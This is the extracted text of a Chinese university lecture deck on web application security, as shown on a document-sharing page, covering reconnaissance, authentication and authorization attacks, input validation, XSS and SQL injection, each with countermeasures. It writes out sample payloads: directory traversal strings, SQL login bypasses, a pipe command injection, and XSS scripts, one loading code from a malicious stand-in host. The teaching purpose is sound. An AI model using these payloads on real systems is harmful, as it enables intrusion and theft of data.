网络与信息安全-WEB应用安全-AIO_第1页
网络与信息安全-WEB应用安全-AIO_第2页
网络与信息安全-WEB应用安全-AIO_第3页
网络与信息安全-WEB应用安全-AIO_第4页
网络与信息安全-WEB应用安全-AIO_第5页
已阅读5页,还剩125页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

上海交通大学软件学院网络与信息安全

-Web上的故事目录Web应用攻击的基础知识剖析攻击Web平台攻击Web认证攻击Web授权输入验证攻击攻击Web数据存储攻击XMLWeb服务攻击Web应用管理攻击Web客户端拒绝服务攻击充分认知分析第一节Web应用攻击的基础知识Web应用攻击的基础知识剖析攻击Web平台攻击Web认证攻击Web授权输入验证攻击攻击Web数据存储攻击XMLWeb服务攻击Web应用管理攻击Web客户端拒绝服务攻击充分认知分析什么是Web应用攻击为什么攻击Web应用何人、何时、何地攻击Web应用如何攻击Web应用程序1.1什么是Web应用攻击Web应用程序:一种能通过超文本传输协议(HyperTextTransferProtocol,HTTP)访问的程序Web攻击的本质:通过HTTP协议篡改应用程序通过Web的图形界面直接操纵应用程序通过统一资源标识符(UniformResourceIdentifier,URI)篡改应用程序通过未包含在URI里的HTTP元素篡改应用程序1.1什么是Web应用攻击通过Web的图形界面直接操纵应用程序示例通过统一资源标识符(UniformResourceIdentifier,URI)篡改应用程序URI结构与语法Scheme://authority/path?query描述了位于服务器(authority)上的资源(path)或应用程序(query)所采用的协议(Scheme)操控URI的例子https://server/folder/../../../../cmd.exehttp://server/applocation?parameter1=aaaa...256a’shttp://server/applocation?parameter1=<script>’alert’</script>请求方法、请求头和数据体(下页)1.1什么是Web应用攻击请求方法、请求头和数据体大多数Web应用程序仅使用两种请求方法:GET和POST区别:GET把所有的数据放在URI中,POST把数据放在数据体中HTTP请求头(header)通常用来存储关于传输协议层的额外信息。和安全相关的HTTP请求头包括如下几个:授权(Authorization)缓存控制(Cache-control)RefererCookies数据体注注不可见就代表安全?思考1.1什么是Web应用攻击资源攻击者最终目的是获得对Web应用程序的资源(resources)的未授权访问。大部分Web应用程序只有三层:表示层(presentation)-超文本标记语言页面,静态或动态生成,很少包含对黑客有用信息。http://server/file.html(静态HTML文件)http://server/script.php(一个超文本预处理器或者PHP脚本)http://server/script.asp(微软活动服务器网页

ActiveServerPages,ASP脚本)http://server/script.aspx(微软Asp.NET脚本)逻辑层(logic)-Web开发者会在该层产生错误,导致应用程序遭受攻击。http://server/script.php?input1=foo&input2=barhttp://server/script/aspx?date=friday&time=1745http://server/app?input1=foo&input2=bar(使用单独的可执行文件app接收输入参数和值)数据层(data)-有价值的信息。应避免被表示层和逻辑层以不恰当的方式暴露1.1什么是Web应用攻击资源大部分Web应用程序三层:1.1什么是Web应用攻击认证、会话和授权HTTP协议缺陷:没有维护会话状态克服方法:实现一些认证、保存会话(认证、Cookie)Web客户端和HTMLWeb客户端:能够理解HTTP的工具HTML具有可扩展性和变体,可以在静态的Web内容中嵌入大量的功能-脚本、ActiveX、远程图片、任意层叠样式表CSS(CascadingStyleSheet)其它协议Web分布式创作和版本控制(WebDistributedAuthoringandVersioning,

即WebDAV)基于XML的Web服务-XML(eXtensibleMarkupLanguage,XML)Ajax(AsynchronousJavaScriptandXML,异步JavaScript和XML)RSS(ReallySimpleSyndication,简易信息聚合)1.2为什么攻击Web应用广泛性技术简单性匿名性防火墙可绕过性定制代码的脆弱性安全的不成熟性不断的变化性利益1.3何人、何时、何地攻击Web应用何人?何时?何地?KidsProfessorAdvancedprofessor1.3何人、何时、何地攻击Web应用Web应用安全薄弱点Web平台-Web平台软件漏洞,HTTP底层服务器软件(IIS或Apache)、应用程序开发框架(ASP.NET或PHP)Web应用-对授权、认证、站点结构、输入验证、程序逻辑以及管理接口进行攻击数据库-通过数据库查询运行特权指令,操纵查询以返回额外的数据集。如SQL注入Web客户端-活动内容执行、客户端软件漏洞攻击、跨站脚本错误、钓鱼欺骗传输可用性-拒绝服务攻击(denialofservice,DOS)注注OWASP(OpenWebApplicationSecurityProject)给出被安全界广泛认可的前10个最严重Web应用程序安全漏洞列表注1.4如何攻击Web应用程序HTTP分析和篡改工具Web浏览器示例不足浏览器自己篡改了URI(IE的转义字符圆点、斜杠等)不能从地址栏中修改PUT请求的内容浏览器扩展优点与浏览器集成性透明性浏览器扩展工具IE扩展,工具:TamperIE-BHO、IEWatch、IEHeadersFirefox扩展,工具:LiveHTTPHeaders、TamperData、ModifyHeaders1.4如何攻击Web应用程序HTTP分析和篡改工具HTTP代理实现:本地运行HTTP服务,把本地Web客户端重定向到该服务缺陷:不能正常处理HTTPS工具:Paros(最流行的Web安全评估工具之一)、OWASPWebScarab、Fiddler、BurpIntruder、WatchfirePowerTools示例:/sandbox/shop/命令行工具CurlCurlhttps://website/login.php?user=‘perl–e‘print“a”x500’’Netcat注注在SSL之上使用的HTTP尽管也是标准的HTTP协议,但是它被称为HTTPS(SecureHTTP,安全的HTTP),使用443端口,而不是80。注1.4如何攻击Web应用程序第二节Web应用攻击的基础知识Web应用攻击的基础知识剖析攻击Web平台攻击Web认证攻击Web授权输入验证攻击攻击Web数据存储攻击XMLWeb服务攻击Web应用管理攻击Web客户端拒绝服务攻击充分认知分析架构剖析应用剖析常用对抗措施剖析剖析:目的:研究和查明Web站点如何构架,以及它们的应用程序如何工作的策略获取尽量多的关于应用程序内部工作的信息,包括站点上所有的Web网页、应用程序、以及输入/输出命令结构。刺探出应用程序的核心商业逻辑2.1构架剖析踩点和扫描:定义范围确定目标应用程序或组织的范围注册检查DNS检查常规的组织结构检查基础的构架探测技术服务器发现-ping扫描网络服务识别-端口扫描2.1构架剖析Banner抓取目的:确定目标Web服务器软件的类型及版本C:\>nc80HEAD/HTTP/1.0HTTP/1.1200OKDate:Sun,21Jun200907:22:44GMTServer:Apache/2.2.3(Debian)PHP/4.4.4-8+etch6Last-Modified:Fri,19Jun200908:10:24GMTETag:"1e34489-5b67-e6ddc00"Accept-Ranges:bytesContent-Length:23399Connection:closeContent-Type:text/html使用HEAD方法获取服务器bannerC:\>nc4580HEAD/HTTP/1.1HTTP/1.1400BadRequestServer:Microsoft-IIS/5.0Date:Sun,21Jun200907:50:29GMTConnection:closeContent-Length:4009Content-Type:text/html2.1构架剖析高级HTTP指纹(fingerprinting)定义:抓取HTTP相关版本的banner,不再简单查看头部值,而是观察每种Web服务器的整体行为,以及各种Web服务器的独特响应。目的:Banner被消除或改写方法:不常见的HTTP请求方法–如:非法PUT请求服务器头的区别–如:顺序、额外信息等工具:httprint2.1构架剖析中间件构架检测虚拟主机2.1构架剖析中间件构架检测负载均衡器在一个IP范围内做端口扫描时间戳分析Etag与Last-Modified的差别负载均衡器Cookies枚举SSL差别检查HTML源代码

检测代理TRACE请求-服务器精确回显收到的请求代理插入固定的头反向代理TRACE/folder1/index.aspxHTTP/1.1->TRACEsite1/folder1/index.aspxHTTP/1.1Host:Connect标准测试一般代理请求GETindex.html->GET/HTTP1.0配置不完备,可被用于端口扫描GET:25/HTTP/1.0检测Web应用防火墙Teros防火墙–非法TRACE请求、非法PUT请求、Cookie请求F5TrafficShield–非法PUT请求、CookieNetcontinuum–非法PUT请求、CookieURLScan–超长请求、特殊请求,错误代码404SecureIIS–超长请求、特殊请求,错误代吗4062.2应用剖析目的:生成Web站点的完整视图,包括内容、组件、功能,以及流量、从而可以收集关于底层漏洞的线索。确认站点的编写语言、站点的基本结构、所使用的动态内容。方法:手工检测搜索引擎自动化爬行2.2应用剖析手工检测:前期工作应用程序文档化页面名称通向页面的完整路径请求该页面是否需要认证页面是否需要SSLGET/POST参数注释流程图–工具:WebSphinx2.2应用剖析手工检测:前期工作表格和流程图中应该记录的其它信息静态页面和动态页面目录结构常见文件扩展常见文件帮助文件Java类和Applets类HTML源代码表单查询字符串和参数常见Cookie后端连接2.2应用剖析静态页面和动态生成页面静态页面:一般为.html文件,无法进行输入认证攻击,可能包含注释信息动态页面,一般为.asp、.jsp、.php等通常做法:保存文件副本工具:Lynx、Netcat、Perl编写脚本缺陷:只能保存没有发送POST请求而获得的页面调查过程:观察程序员的命名习惯,推测程序员的思维UserMenu.asp->AdminMenu.asp2.2应用剖析目录结构不要只局限于浏览器和站点菜单选择项可见的那部分结构。别的可能的目录:管理员目录站点旧版本备份目录数据目录推测方法:揣测管理员和站点程序员的思维静态内容在/html目录中∧动态内容在/jsp目录中->cgi脚本在/cgi目录中常见的目录推测:被认为安全的目录:/admin//secure//adm/备份文件或日志文件的目录:/.bak//backup//back//log//logs//archive//old/私人apache目录:/~root//~bob//~cthulhu/文件包含目录:/include//inc//js//global//local/用于国际化的目录:/de//en//1033//fr/尝试方法:如果目录不存在,会返回一个404的错误2.2应用剖析常见扩展名文件扩展名是应用程序特征指示器用来确定语言类型和应用程序类型告诉我们Web服务器是如何处理文件的确定扩展名对应应用程序的方法Google应用程序/技术常见文件扩展名CodeFusion.cfmASP.NET.aspxLotusDomino.nsfASP.aspWebSphere.d2wPeopleSoft.GPLBroadVision.doOracleAppServer.showPerl.plCGI.cgiPython.pyPHP..php/.php3/.php4SSI.shtmlJava.jsp/.java2.2应用剖析常见文件可透漏站点运行的应用程序和版本常见文件列表ReadmeTodoChangesInstall.txtEULA.txt如:/Readme.txt2.2应用剖析帮助文件通常不出现在URL中帮助文件包括层叠样式表(CSS)指示浏览器如何格式化文本,很少包含敏感信息XML样式表(.xsl)为XML请求和格式定义了文档结构,经常会列出数据库字段和其它的帮助文件JavaScript文件嵌入HTML文件中,也存在于单独的.js文件中包含文件,如在IIS系统中,包含文件.inc通常用来控制数据库的访问,或者包含应用程序内部使用的变量其它:HTML文件中,可能包含ASP、PHP、Perl、text和其它文件的引用2.2应用剖析Java类和Applet某些网页源码隐藏数据过滤检测和调查站点功能,如加密功能、数据库连接功能,应该直接下载Java类或者编译好的JavaServlet,因此可以窥探代码功能实现。获取方法:在Servlet名称之后添加.java或者.class备份目录中搜索,通常被设定为不可执行,从而可以获取真正的文件常见文件名:SessionServlet,AdminServlet,SnoopServlet,test反编译工具:JavaDisassembler:jad2.2应用剖析HTML源代码HTML注释:字符”

”标记了所有的基本HTML注释方法:归纳类似文件名的注释:下载这些文件,查找信息旧代码:打开旧代码,查找漏洞自动生成的注释明显的内容:如SQL语句、数据库密码、TODOE-mail、id信息调查2.2应用剖析表单检查一个页面的表单时,应该注意的方面:方法:表单提交数据使用的是GET还是POST行为:表单调用了什么类型的脚本:.pl,.sh,.asp,其中.sh(shell脚本)在Web服务器上是不安全的最大长度:是否做了输入限制,长度限制是否容易绕过隐藏:字段是否对用户进行了隐藏自动完成:是否使用了自动完成,输入自段是否隐藏了敏感信息2.2应用剖析查询字符串和参数大多位于问号标记后面,指明了发给程序内部动态可执行程序或库的一些参数/search?q=test&output=xml_no_dtd&ie=GB2312&oe=GB2312&client=default_frontend&proxystylesheet=default_frontend&site=default_collection查询字符串和参数是需要收集的最重要的信息,代表了动态Web应用的核心功能。带有最易变化的,是最不安全的。容易带来的安全威胁:冒充其它用户获得受限数据运行任意系统命令执行应用程序开发者意料之外的操作2.2应用剖析查询字符串和参数如何分析查询字符串和参数例子1:/search.cgi?searchTerm=testing&db=/templates/db/archive.db一些尝试

参数含义Db=/../../../../../etc/password这样做可以获取文件吗?如果是win32系统,应该尝试获取boot.iniDb=/templates/db/可以列出目录吗?Db=/templates/db/%00使用NULL字节技巧来获取目录列表Db=/templates/db/junk.db发送一个非法数据库名时,服务器如何响应Db=|lsordb=|dir尝试使用perl管道技巧Db=尝试使用空格Db=*如果使用*做为path,会在配置中搜索所有数据库吗?Db=/search.cgi提交一个扩展名,会不会转储源代码?/templates/db/archive.db能否直接下载db文件/templates/db/可以得到目录列表吗?db/=/templates/db/current.db猜测隐藏数据库名2.2应用剖析查询字符串和参数如何分析查询字符串和参数例子2-假冒攻击:/login?userid=24610例子3-会话标识,如cookie,相关字符串为sessionid、session、sid和s等/menuasp?sid=7869ADFD例子4-数据库查询,SQL注入的切入点/dbsubmit.php?sTitle=MS&ihpone=12345678例子5-查找编码/加密值“__VIEWSTATE=dDwtNTI09878MDE10zs+zbcf2RYjMPeVgUrY2Etj43Nh12Q=”-base64编码MD5,SHA-1,长度判断2.2应用剖析常见的Cookie现成Web软件使用的cookie有一定的格式软件Cookie结构IIS5/6ASPSESSIONID=[string]CodeFusionEfid=[number]cftoken=[number]J2EEApplicationsJsessionid=[string]2.2应用剖析使用搜索工具进行剖析搜索工具:Google,MSN,Yahoo使用robots.txt确定某些目录2.2应用剖析自动Web爬行(crawling)工具缺点:不能处理人机交互而设计的Web表单对非正规布局的站点,难以简单处理无法维护正常浏览时的状态信息只是可用链接的集合工具:LynxWgetTeleportProBlackWidowOfflineExplorerPro2.2应用剖析常见的Web应用剖析…2.3常用对抗措施避免设计和错误配置导致的信息泄露加强配置和最小权限访问策略保护目录不同的用户/管理员根目录来减轻源代码泄露攻击和目录遍历攻击IIS下将InetPub目录放置到非系统盘的其它卷中,防止目录遍历接触敏感文件保护包含文件更名,如将.inc更改为.asp.inc扩展名映射给ASP引擎JavaScript文件集中在单独的目录中,确保这一目录和其中的任何文件都没有“执行”权限程序员谨慎编写代码去除开发者信息使用相对路径,脚本自身去掉目录遍历字符第三节攻击Web平台Web应用攻击的基础知识剖析攻击Web平台攻击Web认证攻击Web授权输入验证攻击攻击Web数据存储攻击XMLWeb服务攻击Web应用管理攻击Web客户端拒绝服务攻击充分认知分析使用Metasploit进行点击式的漏洞利用手工漏洞利用检测绕过技术Web平台安全加固攻击Web平台Web平台由常见的现成软件组成,包括:COTS(Commonoff-the-shelfSoftware)服务器软件(IIS,Apache)Web服务器的COTS扩展(ISAPI过滤和扩展)COTS动态执行环境(ASP.NET,PHP,J2EE)COTS服务/后台程序(论坛)COTS漏洞特点:影响范围广传播速度快注注本节重点讨论COTS软件缺陷,而不是错误配置。此类缺陷必须通过版本更新和补丁来修复漏洞。注3.1使用Metasploit进行点击式的漏洞利用演示3.2手工漏洞利用演示.printerMS05-039?/TECHNET/SECURITY/BULLETIN/MS05-039.MSPX3.3检测绕过技术使用超长URL绕过日志记录为了避免DOS攻击填满日志,应用程序只记录请求URI的前n个字符利用:>n处填写攻击代码对抗措施:使用URLScan,填写最长允许通过的URI长度为n使用TRACK隐藏请求可用来进行DOS攻击而不会被记录3.4Web平台安全加固安全基准概念通用安全实践执行严格的双向网络访问控制及时安装安全补丁不要在源代码中放置私密信息,常见错误:在ASP脚本中用明文SQL连接字符串在应用配置文件中使用明文密码使用以.inc为扩展名的包含文件在脚本的注释中包含了e-mail地址、目录机构和密码等信息定期为易受到攻击的服务器进行网络扫描能判断自己是否受到了攻击Netstat–an查看是否有陌生入站连接查看文件系统Sensepost.exe,Upload.asp,Upload.inc,Cmdasp.asp,e.asp,dl.exe,reggina.exe…通常位于/script这类可写/可执行的文件夹下查看日志3.4Web平台安全加固C:\>netstat-anActiveConnectionsProtoLocalAddressForeignAddressStateTCP:1031:0LISTENINGTCP:1032:0LISTENINGTCP:3372:0LISTENINGTCP:8445:0LISTENINGTCP45:139:0LISTENINGTCP45:44541:1045ESTABLISHEDTCP45:103241:8080ESTABLISHEDTCP45:103541:139TIME_WAITUDP:135*:*UDP:445*:*UDP:1029*:*UDP:1030*:*UDP:3456*:*UDP45:137*:*UDP45:138*:*UDP45:500*:*Netstat–an查看是否有陌生入站连接3.4Web平台安全加固IIS加固关闭错误信息,会给攻击者太多信息恰当放置Web目录删除不必要的扩展映射使用文件系统访问控制列表使用IISLockdown和URLScan对Web服务器卷总是使用NTFS并恰当地设置访问控制列表(ACL)注意使用最小权限法则移动、更名、删除或限制功能强大的工具如:cmd.exe,cacls.exe删除服务器上可写和可执行ACL中的Everyone和Guests组3.4Web平台安全加固Apache加固…3.4Web平台安全加固PHP加固…第四节攻击Web认证Web应用攻击的基础知识剖析攻击Web平台攻击Web认证攻击Web授权输入验证攻击攻击Web数据存储攻击XMLWeb服务攻击Web应用管理攻击Web客户端拒绝服务攻击充分认知分析认识认证威胁绕过认证总结4.1认识认证威胁最常见的认证类型用户名/密码,特点:简单更强健的认证,基于令牌和基于证书认证服务,认证外包,如MS的Passport4.1认识认证威胁用户名/密码威胁用户名枚举为了提高密码猜测的效率剖析的结果对剖析的结果进行文本搜索,像userid、username,user等/0x557登录中的错误消息输入的用户名无效输入的密码无效输入的用户名/密码无效注册过程中探测更改密码中的错误消息需要代理账户锁定时间攻击4.1认识认证威胁用户名/密码威胁密码猜测手动密码猜测自动化密码猜测深度优先-对同一账户使用不同密码广度优先-对不同账户使用相同密码:不容易被锁定工具:Hydra、WebCracker、Brutus密码猜测的对抗措施强密码策略-有效的、足够大的密码空间强账户锁定策略-容易导致拒绝服务攻击对表单的认证使用定制的响应页面,可以阻止使用工具来进行密码猜测(全自动区分计算机和人类的图灵测试)CAPTCHAs4.1认识认证威胁用户名/密码威胁窃听和重放攻击基础认证:通过Authorization发出用户名、密码。Base64编码对抗措施:采用https协议,基于SSL或者TLS协议保护摘要随机数+用户名+密码+请求URI+请求方法+时间戳+IP地址等的散列算法4.1认识认证威胁用户名/密码威胁基于表单的认证攻击是一种定制的认证机制,使用表单来完成。不依赖标准Web协议的任何特性,没有一个执行基于表单认证的标准方法。认证过程描述攻击工具:Brutus优点:高度定制对抗方法:无论验证成功或者失败,返回相同页面基于数据库的攻击认证SELECT*fromAUTHENTICATIONTABLEWHEREUsername=‘usernameinput’ANDPassword=‘passwordinput’用户名绕过:Username’—密码绕过:FakePassword’OR1=1--4.1认识认证威胁更强的Web认证数字证书基于公开密钥系统和数字证书来认证用户,可存放于智能卡中获取、发布、管理证书十分困难一次一密(One-timePasswords,OTP)4.1认识认证威胁Web认证服务MicrosoftPassport-通用单点登陆(singlesign-on,SSO)过程描述:4.2绕过认证应用程序都了解认证在应用程序安全中的重要性,因此大多实现非常强的协议。直接攻击协议本身难度大。可攻击应用程序的其它组件劫持或欺骗一个已经存在的会话认证攻击身份管理子系统方法:令牌重放身份管理攻击客户端4.2绕过认证令牌重放(SessionHijacking)应用程序使用两种类型的安全令牌Cookie脚本注入窃听定制的会话ID(sessionidentifiers,sessionID)预测暴力身份管理攻击用户注册攻击帐户管理(密码重置)对策:CAPTCHA(CompletelyAutomatedPublicTuringTeststoTellComputersandHuman)技术防范程序、机器人或脚本的自动探测应用E-Mail注册防止密码猜测攻击防范搜索引擎机器人在线投票4.2绕过认证证书管理攻击把新密码发送到邮箱密码提示问题发送重置密码URL利用客户端身份窃取钓鱼(Fishing)4.3总结强健的密码策略和账户锁定策略可以使大多数基于密码猜测的攻击失效不要在证书中使用可识别的个人信息应该使用HTTPS来保护认证和传输,避免受到窃听和重放攻击的风险输入验证在防范Web站点攻击中起很大的作用,正确的输入验证可阻止SQL注入、脚本注入和命令执行确保认证安全令牌,如使用大的密钥空间生成它们记住加固身份管理系统第五节攻击Web授权Web应用攻击的基础知识剖析攻击Web平台攻击Web认证攻击Web授权输入验证攻击攻击Web数据存储攻击XMLWeb服务攻击Web应用管理攻击Web客户端拒绝服务攻击充分认知分析授权实现的指纹识别攻击ACL攻击令牌授权攻击案例分析安全授权攻击Web授权认证(authentication)和授权(authorization)的区别授权的典型实现通过认证的用户会话(session)提供访问令牌(accesstoken)做为访问应用程序的用户的唯一标识。应用程序将令牌中的标识符和对象上的访问控制列表相比较,决定是否允许对内部对象的访问。ACL(accesscontrollist):访问控制列表可能的问题:攻击者通过猜测、重放、或者假冒某人的令牌,可以查看到某些数据或执行一些操作。攻击的目的:劫持应用程序所使用的授权/会话令牌绕过服务器端的ACL5.1授权实现的指纹识别Web应用的授权可以很复杂,而且是可以定制的,因此,首先寻找授权实现的指纹。方法:爬行ACL识别访问/会话令牌分析会话令牌差异分析角色矩阵5.1授权实现的指纹识别爬行ACL工具:OfflineExplorerPro实现:401错误:未授权响应,说明该资源是受ACL保护的差异分析缺点:只能看见链接过去的Web内容,如admin页面5.1授权实现的指纹识别识别访问/会话令牌会话属性常见缩写用户名Username,user,uname,customer用户标识付Id,*id,userid,udi,*udi,customerid用户角色admin=TRUE/FALSE,role=admin,priv=1用户配置Profile,prof购物车Cart,cartid会话标识符SessionID,sid,sessidWeb应用授权/会话令牌中通常保存的信息应用程序服务器会话ID变量名IISASPSESSIONID基于J2EE的服务器JSESSIONIDPHPPHPSESSIDApacheSESSIONIDCodeFusionCFID,CFTOKEN,JSESSIONID其它JservSessionID,JWSESSIONID,SESSID,SESSION,SID,session_idCOTS的会话ID5.1授权实现的指纹识别分析会话令牌破解编码Base64分析加密MD5,128位DES,Triple-DES差异分析(differentialanalysis)角色矩阵(rolematrix)-应用程序中访问令牌和ACL的关系5.2攻击ACL所有Web应用程序都在一定程度上依赖资源ACL的保护,并非所有的WEB应用程序都会实现授权/会话令牌ACL攻击是最简单的,而攻击授权/会话令牌通常需要更多的工作最常用的URI操纵技术目录遍历/scripts/../../../winnt(MS00-057)查找“隐藏”资源/user/menu->/admin/menu/level/NN/exec/...(CiscoIOSHTTP授权漏洞)5.3攻击令牌对Web应用程序的访问/会话令牌的常见攻击预测手动自动捕捉/重放手动预测手工篡改攻击针对如下常见的会话状态跟踪机制查询字符串POST数据HTTP头Cookie5.3攻击令牌手动预测查询字符串(GET)例子:/mail.aspx?mailbox=joe&company=acme->/mail.aspx?mailbox=jane&company=acmePOST数据工具:curl$curl–v–d‘authmask=8195’–d’uid=213987755’–d‘a=viewacct’\>--url/*Connectedto(3)>POST/HTTP/1.1User-Agent:curl/7.9.5(i686-pc-cygwin)libcurl7.9.5(OpenSSL0.9.6c)Host:Pragma:no-cacheAccept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*Content-Length:38Content-Type:application/x-www-form-urlencodedauthmask=8195&uid=213987755&a=viewacct5.3攻击令牌手动预测HTTP头Cookie通过HTTP的Set-Cookie头来设置Cookie本身无缺陷,是对客户端或服务器软件进行的攻击工具:CookieSpy5.3攻击令牌手动预测HTTP头RefererReferer格式:Referer:http://www.siteA.com/index.html,可通过工具修改,如curl存在问题的代码:strReferer=Request.ServerVariables(“HTTP_REFERER”)IfstrReferer=“/login.html”then ‘thispageisfromlogin,showyouthemoneyEndif注注让安全依赖于信息的名字决不是好主意,另外决不要相信客户端的输入。注5.3攻击令牌自动预测自动化分析可预测会话的ID和加密保护值的技术非线性分析技术暴力/字典破解位翻转捕获/重放不是通过猜测或逆向工程来获得合法的令牌方法:窃听-wireshark中间人社会共程学5.4授权攻击案例分析水平权限提升演示垂直权限提升导致水平权限提升的4中情况用户可更改角色更改cookie中的role值,该值可能为明文,md5散列值等劫持帐号利用其它安全漏洞不安全的管理功能差异分析5.5安全授权WebACL安全授权Apache授权IIS授权目录访问授权IP地址授权5.5安全授权Web授权/会话令牌安全使用SSL使用SetCookie响应头的“Secure”参数来标记Cookie不要自己编写授权机制令牌中不要包含个人敏感信息一旦改变权限,就要重新生成会话ID强制会话时间限制,关闭重放攻击窗口强制限制并发登录安全日志配置变更密码变更修改其它用户添加/删除其它用户第六节输入验证攻击Web应用攻击的基础知识剖析攻击Web平台攻击Web认证攻击Web授权输入验证攻击攻击Web数据存储攻击XMLWeb服务攻击Web应用管理攻击Web客户端拒绝服务攻击充分认知分析输入验证攻击带来的危害输入验证攻击载体绕过客户端验证常见输入验证攻击输入验证攻击输入验证是Web应用程序的首道防线,由攻击者向程序提交了未曾预料的输入,攻击方法SQL注入脚本攻击,如跨站详细错误信息泄露输入验证是为了确保输入数据的格式和类型都是应用程序所需要的。必须进行严格检查以减少误操作本节讨论完全信任用户提供的输入所带来的危险没有恰当限制期望的数据类型,攻击者攻击应用程序的各种方法6.1输入验证攻击带来的危害输入验证攻击可能针对程序的不同方面验证流程用JavaScript实现,并放在浏览器中数据存储-SQL注入冒充其他用户-跨站、钓鱼控制Web服务器泄露应用程序内容缓冲区溢出攻击获得任意数据的访问权限6.2输入验证攻击载体GET或者POST具体表现登录名密码地址电话信用卡号搜索Cookie具体表现SQL注入冒充其他用户6.3绕过客户端验证如果输入验证只采用了基于JavaScript的方法,那么应用程序没有想象中那么安全工具:Paros代理可以在GET或POST请求发送到服务器之前截获,将数据改变为任意值6.4常见输入验证攻击SQL注入攻击下节缓冲区溢出攻击转义攻击基本模式是跳出Web文档根目录,从而访问系统文件6.4常见输入验证攻击高级目录遍历$./getit.sh/servlet/webacc?user.html=login.htt<HTML><HEAD><TITLE>GroupWiseWebAccessLogin</TITLE></HEAD><!login.htm>$./getit.sh/servlet/webacc?user.html=gor-gorFiledoesnotexist:c:\Novell\java\servlets\com\novell\webaccess\templates/gor-gor/login.httCannotloadfile:c:\Novell\java\servlets\com\novell\webaccess\templates/gor-gor/login.htt.正常请求非正常请求泄露路径$./getit.sh\>/servlet/webacc?user.html=../../../../../../../boot.ini%00[bootloader]timeout=30default=multi(0)disk(0)rdisk(0)partition(5)\WINNT[operatingsystems]multi(0)disk(0)rdisk(0)partition(5)\WINNT="Win2K"/fastdetect/noguibootC:\BOOTSECT.BSD="OpenBSD"C:\BOOTSECT.LNX="Linux"C:\CMDCONS\BOOTSECT.DAT="RecoveryConsole"/cmdconsNULL字符转义攻击6.4常见输入验证攻击迫使应用程序访问任意文件,有很多类似%00的方法../../file.asp%00.jpg,这种情况可以对进行后缀名检查的程序使用../../file.asp%0a,%0a是换行符,和NULL类似,输入验证过滤了%00时,可以考虑使用这种方法/valid_dir/../../../file.asp,用于程序验证文件目录的情况Valid_file.asp../../../../file.asp,适用程序验证文件名的情况%2e%2e%2f%2e%2e%2ffile.asp(../../file.asp),用于程序在URL解码前进行名称验证6.4常见输入验证攻击无目录列表浏览Sent:/includes/printable.asp?Link=../inetpub/wwwroot/default.aspReturn:MicrosoftVBScriptruntimeerror'800a0046'Filenotfound/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../inetpub/wwwroot/default.aspReturn:MicrosoftVBScriptruntimeerror'800a0046'Filenotfound/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../../inetpub/wwwroot/default.aspReturn:MicrosoftVBScriptruntimeerror'800a0046'Filenotfound/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../../../inetpub/wwwroot/default.aspReturn:MicrosoftVBScriptruntimeerror'800a0046‘...sourcecodeofdefault.aspreturned!...无目录列表的攻击过程Link=“D:\Siteserver\data\publishing\documents\”&Request.QueryString(“Link”)源代码6.4常见输入验证攻击错误代码目录列表浏览Pathnotfound和Permissiondenied的区别Sent:/includes/printable.asp?Link=../../../../inetpubReturn:MicrosoftVBScriptruntimeerror'800a0046'Permissiondenied/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../../../inetpub/borkborkReturn:MicrosoftVBScriptruntimeerror'800a0046'Pathnotfound/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../dataReturn:MicrosoftVBScriptruntimeerror'800a0046'Permissiondenied/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../../../Program%20Files/Return:MicrosoftVBScriptruntimeerror'800a0046'Permissiondenied/includes/printable.asp,line10错误代码目录浏览过程6.4常见输入验证攻击目录遍历对抗策略转义攻击最好的对抗方法是过滤GET和POST参数中所有的圆点字符,同时注意以Unicode和十六进制编码表示的圆点字符强制所有的读取都从一个特定的目录开始安全的文件系统用低级别权限的用户来运行Web服务器限制Web服务器账户的权限将敏感的文件,转移出Web文档根目录,减轻目录遍历攻击的危害6.4常见输入验证攻击脚本攻击最简单的脚本攻击是输入<script>标记到一个表单字段中,如果用户提交的字段内容重新显示,那么浏览器就会把该内容解析为JavaScript指令。攻击的目的:其他用户观看了内容,就会陷入社会工程(socialengineering)陷阱攻击前提:应用程序必须接收用户输入应用程序必须重显用户输入的内容Source:37itemsfoundfor<b><i>test</i></b>Display:37itemsfoundfor<i>test</i>Source:37itemsfoundfor<b><i>test</i></b>Display:37itemsfoundfortest脚本攻击的简单例子6.4常见输入验证攻击跨站脚本(XSS)跨站脚本攻击在其他用户可以看到的地方放置恶意代码,通常是JavaScript代码。表单中的目标字段可以是地址、留言评论等。恶意代码以窃取cookie为目Hotmail、Gmail、AOL等都曾经受到此类攻击<script>document.write(document.cookie)</script><script>alert('Salut!')</script><scriptsrc="http://www.malicious-host.foo/badscript.js"></script>三种测试XSS的方法6.4常见输入验证攻击嵌入式脚本目标为应用程序目的是被提交的数据在应用程序中显示的时候,可以做为一段程序指令执行。6.4常见输入验证攻击对抗措施防范脚本攻击最有效、最简单的方法,是把所有的尖括号都转化为对应的HTML编码。‘<’>“<”‘>’>“>”6.4常见输入验证攻击滥用编码URL字符编码方式多样利用这一点来构造出复杂的技术,绕过输入验证编码类型编码字符漏洞实例Escaped-encoding%2f(斜线)太多UnicodeUTF-8%co%af(反斜线)IISUnicode目录遍历漏洞UnicodeUTF-7+Adw-(左尖括号)2005年11月GoogleXSS漏洞Multipleencoding%255c(反斜线,%5c)IIS双重解码目录遍历漏洞攻击者适用的一些常见URL编码技术6.4常见输入验证攻击对抗措施对抗措施使用客户端验证可以提高性能,但并不安全采用服务端输入验证归一化输入值约束数据类型字符验证和输出验证白名单/黑名单法安全的处理错误请求认证使用最低权限访问法则第七节攻击Web数据存储Web应用攻击的基础知识剖析攻击Web平台攻击Web认证攻击Web授权输入验证攻击攻击Web数据存储攻击XMLWeb服务攻击Web应用管理攻击Web客户端拒绝服务攻击充分认知分析SQL简介发现SQL注入利用SQL注入漏洞防范攻击Web数据存储对于SQL注入漏洞攻击,没有哪个特别的数据库具有很好的防御能力漏洞是在SQL查询和它们支持的编程接口中引入的漏洞是由缺乏安全编程和数据库安全配置导致的7,1SQL入门Web服务器只能理解HTTP协议,而数据库服务器只能理解SQL语言一般用法举例:Login.php将用户证书(用户名和密码)做为一个SQL语句传递给数据库。数据库接受该语句,执行,然后反馈诸如“用户名密码匹配